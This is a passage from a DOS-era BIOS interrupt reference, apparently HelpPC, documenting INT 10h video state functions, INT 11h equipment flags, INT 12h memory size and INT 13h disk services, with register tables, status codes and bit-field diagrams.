            = 3  map high intensity to select alternate font
:int 10,15
^INT 10,15 - Return Physical Display Parms (convertible)


      AH = 15h

      on return:
      AX = alternate display adapter type
      ES:DI = pointer to parameter table:


%     Offset Size   Description

        01   word   monitor model number
        02   word   vertical pels per meter
        03   word   horizontal pels per meter
        04   word   total number of vertical pels
        05   word   total number of horizontal pels
        06   word   horizontal pel separation in micrometers
        07   word   vertical pel separation in micrometers

:int 10,1a
^INT 10,1A - Video Display Combination (VGA)

      AH = 1A
      AL = 00 get video display combination
         = 01 set video display combination
           BL = active display  (see table below)
           BH = inactive display


      on return:
      AL = 1A, if a valid function was requested in AH
      BL = active display  (AL=00, see table below)
      BH = inactive display  (AL=00)
```

```
%     Valid display codes:

       FF  Unrecognized video system
       00  No display
       01  MDA with monochrome display
       02  CGA with color display
       03  Reserved
       04  EGA with color display
       05  EGA with monochrome display
       06  Professional graphics controller
       07  VGA with analog monochrome display
       08  VGA with analog color display
       09  Reserved
       0A  MCGA with digital color display
       0B  MCGA with analog monochrome display
       0C  MCGA with analog color display

      - returns value at byte 40:8A indicating display combination status
      - used to detect video display capabilities

:int 10,1b
^INT 10,1B - Video BIOS Functionality and
^State Information (MCGA/VGA)

      AH = 1B
      BX = implementation type (must be zero)
      ES:DI = pointer to 64 byte buffer


      on return:
      AL = 1B
      ES:DI = pointer to updated buffer  (see below)


      - returns static and dynamic information about the current
        state and capabilities of the current video system
      - bytes 0-3 of the dynamic data table at ES:DI contain a far
        pointer to the video static information table


^Video BIOS Dynamic Functionality State Table (MCGA/VGA)

%     Dynamic Video State Table

      00  dword   address of static functionality table
      04  byte    video mode
      05  word    number of columns
      07  word    length of displayed video buffer (# bytes)
      09  word    start address of upper left corner of video buffer
      0B  16bytes cursor position table for 8 pages (col,row)
      1B  byte    cursor end line
      1C  byte    cursor start line
      1D  byte    active video page
      1E  word    I/O port for CRTC address register
      20  byte    current value of CRTC 3x8 register
      21  byte    current value of CRTC 3x9 register
      22  byte    number of displayed character rows
      23  word    height of character matrix (points)
      25  byte    active display combination code
      26  byte    inactive display combination code
      27  word    number of displayed colors (mono = 0)
      29  byte    number of supported video pages
      2A  byte    raster scan lines 0=200, 1=350, 2=400, 3=480
```

```
2B  byte    text character table used
2C  byte    text character table used
2D  byte    other state information:

      ³7³6³5³4³3³2³1³0³ State Information byte at offset 2D
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ 1 = all modes active (MCGA always 0)
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = gray scale summing enabled
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = monochrome display attached
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = default palette loading disabled
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ 1 = cursor emulation enabled
       ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = blinking attribute enabled
       ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = reserved

2E 3bytes   reserved
31  byte    video RAM available 0=64K, 1=128K, 2=192K, 3=256K
32  byte    save area status

      ³7³6³5³4³3³2³1³0³ Save Area Status
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ 1 = two text char sets are active
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = dynamic save area is active
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = text char set override is active
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = graphics char set is override active
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ 1 = palette override is active
       ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = display combination code ext. active
       ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = reserved

33  dword   reserved


^Video BIOS Static Functionality Table   (EGA/VGA)

      ³7³6³5³4³3³2³1³0³ Video modes supported, byte at offset 00
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ 1 = mode 0
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = mode 1
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = mode 2
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = mode 3
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ 1 = mode 4
       ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = mode 5
       ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = mode 6
       ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = mode 7

      ³7³6³5³4³3³2³1³0³ Video modes supported, byte at offset 01
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ 1 = mode 8
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = mode 9
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = mode A
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = mode B
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ 1 = mode C
       ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = mode D
       ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = mode E
       ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = mode F

      ³7³6³5³4³3³2³1³0³ Video modes supported, byte at offset 02
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ 1 = mode 10
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = mode 11
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = mode 12
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = mode 13
       ÀÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄ reserved

03  dword  reserved
07  byte   scan lines supported in text modes

      ³7³6³5³4³3³2³1³0³ Scan lines supported, byte at offset 07
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ 1 = 200 lines
```

```
        ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = 350 lines
        ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = 400 lines

 08  byte   max number of displayable text character sets
 09  byte   # of text definition tables in char generator RAM
 0A  byte   other capability flags

       ³7³6³5³4³3³2³1³0³ Other flags, byte at offset 0A
        ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ 1 = all modes (0 on MCGA)
        ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = gray scale summing
        ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = character set loading
        ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1 = default palette loading
        ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = cursor emulation
        ³ ³ ÀÄÄÄÄÄÄÄÄ 1 = 64 color palette
        ³ ÀÄÄÄÄÄÄÄÄÄ 1 = video DAC loading
        ÀÄÄÄÄÄÄÄÄÄÄÄ 1 = DAC controlled by ACCS

 0B  byte   other capability flags

       ³7³6³5³4³3³2³1³0³ Other flags, byte at offset 0B
        ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ 1 = light pen support
        ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = save/restore video state
        ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = blinking/background intensity
        ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1 = display combination code
        ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ reserved

 0C  word   reserved
 0E  byte   save area capabilities

       ³7³6³5³4³3³2³1³0³  save area capabilities at offset 0E
        ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = multiple text character sets
        ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = dynamic save area
        ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1 = text character set override
        ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = graphics character set override
        ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 1 = palette override
        ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = display combination code extension
        ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ reserved

 0F  byte    reserved
:int 10,1c
^INT 10,1C - Save/Restore Video State  (VGA only)

      AH = 1C

%     AL = 0      get save buffer size
         CX = requested states
            bit 0: video hardware state
            bit 1: video BIOS data areas
            bit 2: video DAC state

      on return:
      AL = 1C
      BX = buffer size in 64 byte blocks

%     AL = 1      save requested state
         CX = requested states (see AL = 0)
         ES:BX = pointer to buffer

      returns nothing

%     AL = 2      restore requested states
         CX = requested states (see AL = 0)
         ES:BX = pointer to buffer
```

```
      returns nothing

:int 10,fe
^INT 10,FE - Get DESQView/TopView Virtual Screen Regen Buffer


      AH = FE
      ES:DI = set to sentinel value (test for INT 10,FE supported)


      returns:
      ES:DI = address of DESQView/TopView video buffer, DI will always
            be zero


      - on return ES:DI should be tested against the original value;
        the value will change if this function is supported (DESQView
        or TopView loaded), otherwise it will remain unchanged
      - if ES:DI changes this address can be used as the video screen
        regen buffer

:int 10,ff
^INT 10,FF - Update DESQView/TopView Virtual Screen Regen Buffer


      AH = FF
      CX = number of characters changed
      ES:DI = pointer to first character in buffer to change,  ES is
            set to segment returned by ~INT 10,FE~


      returns nothing


      - the physical screen does not get updated until INT 10,FF is
        called in TopView
      - it is not necessary to make this call under DESQView since it
        handles updates automatically
      - calling this function under DESQView will cancel the automatic
        update mode

:int 11:equipment flags
^INT 11 - BIOS Equipment Determination / BIOS Equipment Flags

      no input data

      on return:
      AX contains the following bit flags:

      ³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³  AX
       ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ IPL diskette installed
       ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ math coprocessor
       ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄÄ old PC system board RAM < 256K
       ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ pointing device installed (PS/2)
       ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ not used on PS/2
       ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄÄÄ initial video mode
       ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄÄÄÄÄÄ # of diskette drives, less 1
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ 0 if DMA installed
       ³ ³ ³ ³ ÀÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ number of serial ports
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ game adapter installed
       ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ unused, internal modem (PS/2)
       ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ number of printer ports
```

```
      - bits 3 & 2,  system board RAM if less than 256K motherboard
          00 - 16K                01 - 32K
          10 - 16K                11 - 64K (normal)

      - bits 5 & 4,  initial video mode
          00 - unused        01 - 40x25 color
          10 - 80x25 color        11 - 80x25 monochrome


      - bits 7 & 6,  number of disk drives attached, when bit 0=1
          00 - 1 drive       01 - 2 drives
          10 - 3 drive       11 - 4 drives


      - returns data stored at ~BIOS Data Area~ location 40:10
      - some flags are not guaranteed to be correct on all machines
      - bit 13 is used on the PCjr to indicate serial printer

:int 12
^INT 12 - Memory Size Determination


      no input data


      on return:
      AX  = the number of contiguous 1k memory blocks found at startup

      - contiguous memory does not include video memory or extended RAM

:int 13:BIOS disk services
^INT 13 - Diskette BIOS Services

^For more information see the following topics:

     ~INT 13,0~  Reset disk system
     ~INT 13,1~  Get disk status
     ~INT 13,2~  Read disk sectors
     ~INT 13,3~  Write disk sectors
     ~INT 13,4~  Verify disk sectors
     ~INT 13,5~  Format disk track
     ~INT 13,6~  Format track and set bad sector flag (XT & portable)
     ~INT 13,7~  Format the drive starting at track (XT & portable)
     ~INT 13,8~  Get current drive parameters (XT & newer, see note Ø)
     ~INT 13,9~  Initialize 2 fixed disk base tables (XT & newer, see note Ø)
     ~INT 13,A~  Read long sector (XT & newer, see note Ø)
     ~INT 13,B~  Write long sector (XT & newer, see note Ø)
     ~INT 13,C~  Seek to cylinder (XT & newer, see note Ø)
     ~INT 13,D~  Alternate disk reset (XT & newer, see note Ø)
     ~INT 13,E~  Read sector buffer (XT & portable only)
     ~INT 13,F~  Write sector buffer (XT & portable only)
    ~INT 13,10~  Test for drive ready (XT & newer, see note Ø)
    ~INT 13,11~  Recalibrate drive (XT & newer, see note Ø)
    ~INT 13,12~  Controller ram diagnostic (XT & portable only)
    ~INT 13,13~  Drive diagnostic (XT & portable only)
    ~INT 13,14~  Controller internal diagnostic (XT & newer, see note Ø)
    ~INT 13,15~  Read disk type/DASD type (XT BIOS from 1/10/86 & newer)
    ~INT 13,16~  Disk change line status (XT BIOS from 1/10/86 & newer)
    ~INT 13,17~  Set dasd type for format (XT BIOS from 1/10/86 & newer)
    ~INT 13,18~  Set media type for format (BIOS date specific)
    ~INT 13,19~  Park fixed disk heads (AT & newer)
```

~INT 13,1A~ Format ESDI drive unit (PS/2 50+)

```
   Ø  The 1983 version of the "IBM XT BIOS Technical Reference"
      shows these functions are available for the XT but many other
      programming references say they aren't available until the AT.
      This is probably due to misunderstanding the design of the disk
      BIOS.   Upon bootup the hard disk BIOS replaces the default
      INT 13h diskette handler with the hard disk INT 13h handler.


%     Most disk BIOS calls use the following parameter scheme:

          AH = function request number
          AL = number of sectors  (1-128 dec.)
          CH = cylinder number  (0-1023 dec.)
          CL = sector number  (1-17 dec.)
          DH = head number  (0-15 dec.)
          DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)
          DL = drive number (0=A:, 1=2nd floppy, 80h=C:, 81h=D:)
             Note that some programming references use (0-3) as the
             drive number which represents diskettes only.
          ES:BX = address of user buffer


%     and return with:
      CF = 0 if successful
         = 1 if error
      AH = status of operation  (see INT 13,STATUS)


      - INT 13 diskette read functions should be retried at least 3
        times to assure the disk motor has time to spin up to speed
      - physical sector numbers can be converted to and from DOS sector
        numbers with the following formulas:

        dos_sector = (sector - 1) + (head * sectors_per_track) +
                     (track * sectors_per_track * num_heads)

        physical_sector = 1 + (dos_sector  MOD  sectors_per_track)
        physical_head = (dos_sector / sectors_per_track)  MOD  num_heads
        physical_track = dos_sector / (sectors_per_track * num_heads)

      - registers DS, BX, CX and DX are preserved
      - see  ~INT 13,STATUS~
```

:int 13,0
^INT 13,0 - Reset Disk System

```
      AH = 00
      DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)


      on return:
      AH = disk operation status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error


      - clears reset flag in controller and pulls heads to track 0
      - setting the controller reset flag causes the disk to recalibrate
        on the next disk operation
```

```
      - if bit 7 is set, the diskette drive indicated by the lower 7 bits
        will reset then the hard disk will follow; return code in AH is
        for the drive requested

:int 13,1:int 13,status
^INT 13,1 - Disk Status

      AH = 01

      on return:
      AL = status:

%     Status in AL

         00  no error
         01  bad command passed to driver
         02  address mark not found or bad sector
         03  diskette write protect error
         04  sector not found
         05  fixed disk reset failed
         06  diskette changed or removed
         07  bad fixed disk parameter table
         08  DMA overrun
         09  DMA access across 64k boundary
         0A  bad fixed disk sector flag
         0B  bad fixed disk cylinder
         0C  unsupported track/invalid media
         0D  invalid number of sectors on fixed disk format
         0E  fixed disk controlled data address mark detected
         0F  fixed disk DMA arbitration level out of range
         10  ECC/CRC error on disk read
         11  recoverable fixed disk data error, data fixed by ECC
         20  controller error (NEC for floppies)
         40  seek failure
         80  time out, drive not ready
         AA  fixed disk drive not ready
         BB  fixed disk undefined error
         CC  fixed disk write fault on selected drive
         E0  fixed disk status error/Error reg = 0
         FF  sense operation failed


      - codes represent controller status after last disk operation
      - returns the status byte located at 40:41 in the ~BIOS Data Area~

:int 13,2
^INT 13,2 - Read Disk Sectors

      AH = 02
      AL = number of sectors to read      (1-128 dec.)
      CH = track/cylinder number  (0-1023 dec., see below)
      CL = sector number  (1-17 dec.)
      DH = head number  (0-15 dec.)
      DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)
      ES:BX = pointer to buffer


      on return:
      AH = status  (see ~INT 13,STATUS~)
      AL = number of sectors read
      CF = 0 if successful
         = 1 if error
```

```
      - BIOS disk reads should be retried at least three times and the
        controller should be reset upon error detection
      - be sure ES:BX does not cross a 64K segment boundary or a
        DMA boundary error will occur
      - many programming references list only floppy disk register values
      - only the disk number is checked for validity
      - the parameters in CX change depending on the number of cylinders;
        the track/cylinder number is a 10 bit value taken from the 2 high
        order bits of CL and the 8 bits in CH (low order 8 bits of track):

        ³F³E³D³C³B³A³9³8³7³6³5-0³  CX
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ      sector number
         ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ  high order 2 bits of track/cylinder
         ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ  low order 8 bits of track/cyl number

      - see ~INT 13,A~
```

:int 13,3
^INT 13,3 - Write Disk Sectors

```
      AH = 03
      AL = number of sectors to write  (1-128 dec.)
      CH = track/cylinder number  (0-1023 dec.)
      CL = sector number  (1-17 dec., see below)
      DH = head number  (0-15 dec.)
      DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)
      ES:BX = pointer to buffer


      on return:
      AH = 0 if CF=0; otherwise disk status  (see ~INT 13,STATUS~)
      AL = number of sectors written
      CF = 0 if successful
         = 1 if error


      - BIOS disk write attempts should reset the controller on error
      - be sure ES:BX does not cross a 64K segment boundary or a
        DMA boundary error will occur
      - IBM PC XT 286 does not require a value in AL, though it is
        recommended that one be supplied for portability
      - many programming references list only floppy disk register values
      - only the disk number is checked for validity
      - the parameters in CX change depending on the number of cylinders;
        the track/cylinder number is a 10 bit value taken from the 2 high
        order bits of CL and the 8 bits in CH (low order 8 bits of track):

        ³F³E³D³C³B³A³9³8³7³6³5-0³  CX
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ      sector number
         ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ  high order 2 bits of track/cylinder
         ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ  low order 8 bits of track/cyl number

      - see ~INT 13,B~
```

:int 13,4
^INT 13,4 - Verify Disk Sectors

```
      AH = 04
      AL = number of sectors to verify  (1-128 dec.)
      CH = track/cylinder number  (0-1023 dec., see below)
      CL = sector number  (1-17 dec.)
      DH = head number  (0-15 dec.)
```

```
DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)
ES:BX = pointer to buffer

on return:
AH = status  (see ~INT 13,STATUS~)
AL = number of sectors verified
CF = 0 if successful
   = 1 if error


- BIOS disk reads should be retried at least three times and the
  controller should be reset upon error detection
- causes controller to calculate the CRC of the disk data and
  compare it against the CRC stored in the sector header
- BIOS before 11/15/85 required ES:BX point to a valid buffer
  that doesn't cross DMA boundaries.   More recent BIOS versions
  actually ignore the buffer and the DMA boundary requirement
- use this function to check for valid formatted diskette in a
  the specified drive and for drive ready for read
- only the disk number is checked for validity
- the parameters in CX change depending on the number of cylinders;
  the track/cylinder number is a 10 bit value taken from the 2 high
  order bits of CL and the 8 bits in CH (low order 8 bits of track):

  ³F³E³D³C³B³A³9³8³7³6³5-0³  CX
   ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ      sector number
   ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ  high order 2 bits of track/cylinder
   ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ  low order 8 bits of track/cyl number

- see ~DETECTING~
```

```
:int 13,5
^INT 13,5 - Format Disk Track

      AH = 05
      AL = interleave value (XT only)
      CX = track/cylinder number (see below for format)
      DH = head number  (0-15 dec.)
      DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)
      ES:BX = pointer to block of "track address fields" containing
            four byte fields for each sector to be formatted of the form:

             1 byte  track number
             1 byte  head number        Size      #
             1 byte  sector number      Codes   Bytes
             1 byte  sector size code        0      128
                                    1      256
                                    2      512
                                    3     1024
      on return:
      AH = status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error


      - BIOS disk write attempts should reset the controller on error
      - ~INT 13,17~ should be called to set the DASD type
      - this function is capable of doing great damage if the parameters
        are incorrectly specified; only the drive number is checked
      - initializes disk address fields and data sectors
      - interleave is specified by ordering of track address fields
      - after INT 13 disk format, if the disk is to be used with DOS the
        DOS data structure must be written
```

- only the disk number is checked for validity
- the parameters in CX change depending on the number of cylinders; the track/cylinder number is a 10 bit value taken from the 2 high order bits of CL and the 8 bits in CH (low order 8 bits of track):

```
³F³E³D³C³B³A³9³8³7³6³5-0³  CX (cylinder value 0-1023 dec.)
 ³ ³ ³ ³ ³ ³ ³ ³ ³ ³  ÀÄÄÄÄÄ  unused
 ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ   high order 2 bits of track/cylinder
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ  low order 8 bits of track/cyl number
```

:int 13,6
^INT 13,6 - Format Track and Set Bad Sector Flags (XT & portable)

```
AH = 06
AL = Interleave value (XT only)
BX = format buffer, size = 512 bytes;  the first
     2*(sectors/track) bytes contain F,N for each sector
     F = 00h for good sector,
     F = 80h for bad sector
     N = sector number


on return:
AH = status  (see ~INT 13,STATUS~)
CF = 0 if successful
   = 1 if error
```

- BIOS disk write attempts should reset the controller on error
- only the disk number is checked for validity

:int 13,7
^INT 13,7 - Format Drive Starting at Specified Track (XT & portable)

```
AH = 07
AL = interleave value (XT only)
BX = format buffer, size = 512 bytes;  the first 2*(sectors/track)
     bytes contain F, N for each sector where:

      F = 00h for good sector
      F = 80h for bad sector
      N = sector number

on return:
AH = status  (see ~INT 13,STATUS~)
CF = 0 if successful
   = 1 if error
```

- BIOS disk write attempts should reset the controller on error
- only the disk number is checked for validity

:int 13,8
^INT 13,8 - Get Current Drive Parameters (XT & newer)

```
AH = 08
DL = drive number (0=A:, 1=2nd floppy, 80h=drive 0, 81h=drive 1)


on return:
AH = status  (see ~INT 13,STATUS~)
BL = CMOS drive type
     01 - 5¬  360K          03 - 3«  720K
     02 - 5¬  1.2Mb         04 - 3« 1.44Mb
CH = cylinders (0-1023 dec. see below)
```

```
      CL = sectors per track  (see below)
      DH = number of sides (0 based)
      DL = number of drives attached
      ES:DI = pointer to 11 byte ~Disk Base Table~ (DBT)
      CF = 0 if successful
         = 1 if error


%     Cylinder and Sectors Per Track Format

      ³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³  CX
       ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÁÄÁÄÁÄÁÄÁÄ  sectors per track
       ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÁÄÁÄÁÄÁÄÁÄ     high order 2 bits of cylinder count
       ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄ  low order 8 bits of cylinder count

      - the track/cylinder number is a 10 bit value taken from the 2 high
        order bits of CL and the 8 bits in CH (low order 8 bits of track)
      - many good programming references indicate this function is only
        available on the AT, PS/2 and later systems, but all hard disk
        systems since the XT have this function available
      - only the disk number is checked for validity
:int 13,9
^INT 13,9 - Initialize Fixed Disk Table (XT & newer)

      AH = 09
      DL = fixed disk number  (80h=drive 0, 81h=drive 1)


      on return:
      AH = status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error


      - sets specified fixed disk table to the default values from ROM
      - many good programming references indicate this function is only
        available on the AT, PS/2 and later systems, but all hard disk
        systems since the XT have this function available
      - INT 41h vector is pointer to table for drive 0
      - INT 46h vector is pointer to table for drive 1


^Table      definitions located by interrupt vectors  41H & 46H

%     Offset Size     Description

        00   word  maximum number of cylinders
        02   byte  maximum number of heads
        03   word  starting reduced write current cylinder
        05   word  starting write pre-comp cylinder
        07   byte  maximum ECC data burst length
        08   byte  control byte:


            ³7³6³5³4³3³2³1³0³  Control byte
             ³ ³ ³ ³ ³ ÀÄÁÄÁÄÁÄÁÄ drive option
             ³ ³ ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄ always zero
             ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ disable ECC retries
             ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ disable access retires
:int 13,a
^INT 13,A - Read Long Sector (XT & newer)

      AH = 0A
```

AL = number of sectors (1-121 dec.)
CH = track number (0-1023 dec., see below)
CL = sector number (1-17 dec., see below)
DH = head number (0-15 dec.)
DL = fixed drive number (80h=drive 0, 81h=drive 1)
ES:BX = address of buffer

on return:
AH = status (see ~INT 13,STATUS~)
AL = number of sectors actually transferred
CF = 0 if successful
   = 1 if error

- BIOS disk reads should be retried at least three times and the controller should be reset upon error detection
- many good programming references indicate this function is only available on the AT, PS/2 and later systems, but all hard disk systems since the XT have this function available
- reads regular data sectors (128-1024 bytes) with an additional 4 byte ECC code included
- a DMA boundary error will occur if the buffer at ES:BX crosses a 64K segment boundary
- only the disk number is checked for validity
- the parameters in CX change depending on the number of cylinders; the track/cylinder number is a 10 bit value taken from the 2 high order bits of CL and the 8 bits in CH (low order 8 bits of track):

```
³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³  CX
 ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ   sector number
 ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ  high order 2 bits of track number
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ      low order 8 bits of track number
```

- see ~INT 13,2~

:int 13,b
^INT 13,B - Write Long Sectors (XT & newer)

AH = 0B
AL = number of sectors (1-121 dec.)
CH = track number (0-1023 dec., see below)
CL = sector number (1-17 dec., see below)
DH = head number (0-15 dec.)
DL = fixed drive number (80h=drive 0, 81h=drive 1)
ES:BX = address of buffer

on return:
AL = number of sectors actually transferred
AH = status (see ~INT 13,STATUS~)
CF = 0 if successful
   = 1 if error

- BIOS disk write attempts should reset the controller on error
- many good programming references indicate this function is only available on the AT, PS/2 and later systems, but all hard disk systems since the XT have this function available
- writes regular sectors (128-1024 bytes) with additional 4 byte ECC code included in data
- a DMA boundary error will occur if the buffer at ES:BX crosses a 64K segment boundary

```
      - only the disk number is checked for validity
      - the parameters in CX change depending on the number of cylinders;
        the track/cylinder number is a 10 bit value taken from the 2 high
        order bits of CL and the 8 bits in CH (low order 8 bits of track):

        ³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³  CX
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÁÄÁÄÁÄÁÄÄÄ   sector number
         ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ  high order 2 bits of track number
         ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ      low order 8 bits of track number

      - see ~INT 13,3~
```

:int 13,c

^INT 13,C - Seek to Cylinder (XT & newer)

```
      AH = 0C
      CH = low order byte of cylinder number (see below)
      CL = high order byte of cylinder number (see below)
      DH = head number (0-15)
      DL = fixed drive number (80h=drive 0, 81h=drive 1)


      on return:
      AH = status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error


      - many good programming references indicate this function is only
        available on the AT, PS/2 and later systems, but all hard disk
        systems since the XT have this function available
      - notice that CX is in reverse byte format similar to the way data
        is stored in memory and reverse of normal register storage
      - only the disk number is checked for validity
      - the parameters in CX change depending on the number of cylinders;
        the track/cylinder number is a 10 bit value taken from the 2 high
        order bits of CL and the 8 bits in CH (low order 8 bits of track):

        ³F³E³D³C³B³A³9³8³7³6³5-0³  CX
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ      unused
         ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄÄ  high order 2 bits of track number
         ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄ  low order 8 bits of track number
```

:int 13,d

^INT 13,D - Alternate Disk Reset (XT & newer)

```
      AH = 0D
      DL = fixed drive number  (80h=drive 0, 81h=drive 1)


      on return:
      AH = status  (see ~INT 13,STATUS~)
      CF = 0 if successful
         = 1 if error


      - many good programming references indicate this function is only
        available on the AT, PS/2 and later systems, but all hard disk
        systems since the XT have this function available
      - used to force drive recalibration similar to ~INT 13,0~
      - drive heads are positioned at track zero
```

:int 13,e

^INT 13,E - Read Sector Buffer (XT & portable only)

```
      AH = 0E


      on return:
      AL = number of sectors actually transferred
